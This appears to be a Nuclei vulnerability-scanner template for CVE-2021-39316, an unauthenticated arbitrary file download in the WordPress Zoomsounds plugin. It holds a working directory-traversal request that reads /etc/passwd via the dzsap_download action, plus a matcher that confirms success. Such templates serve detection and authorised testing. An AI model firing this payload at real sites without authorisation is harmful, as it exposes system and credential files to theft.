id: CVE-2021-39316

info:
  name: DZS Zoomsounds < 6.50 - Unauthenticated Arbitrary File Download
  author: daffainfo
  severity: high
  description: The Zoomsounds plugin <= 6.45 for WordPress allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.
  reference:
    - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.50
    cve-id: CVE-2021-39316
    cwe-id: CWE-22
  tags: wordpress,cve2021,cve,lfi,wp-plugin,zoomsounds

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200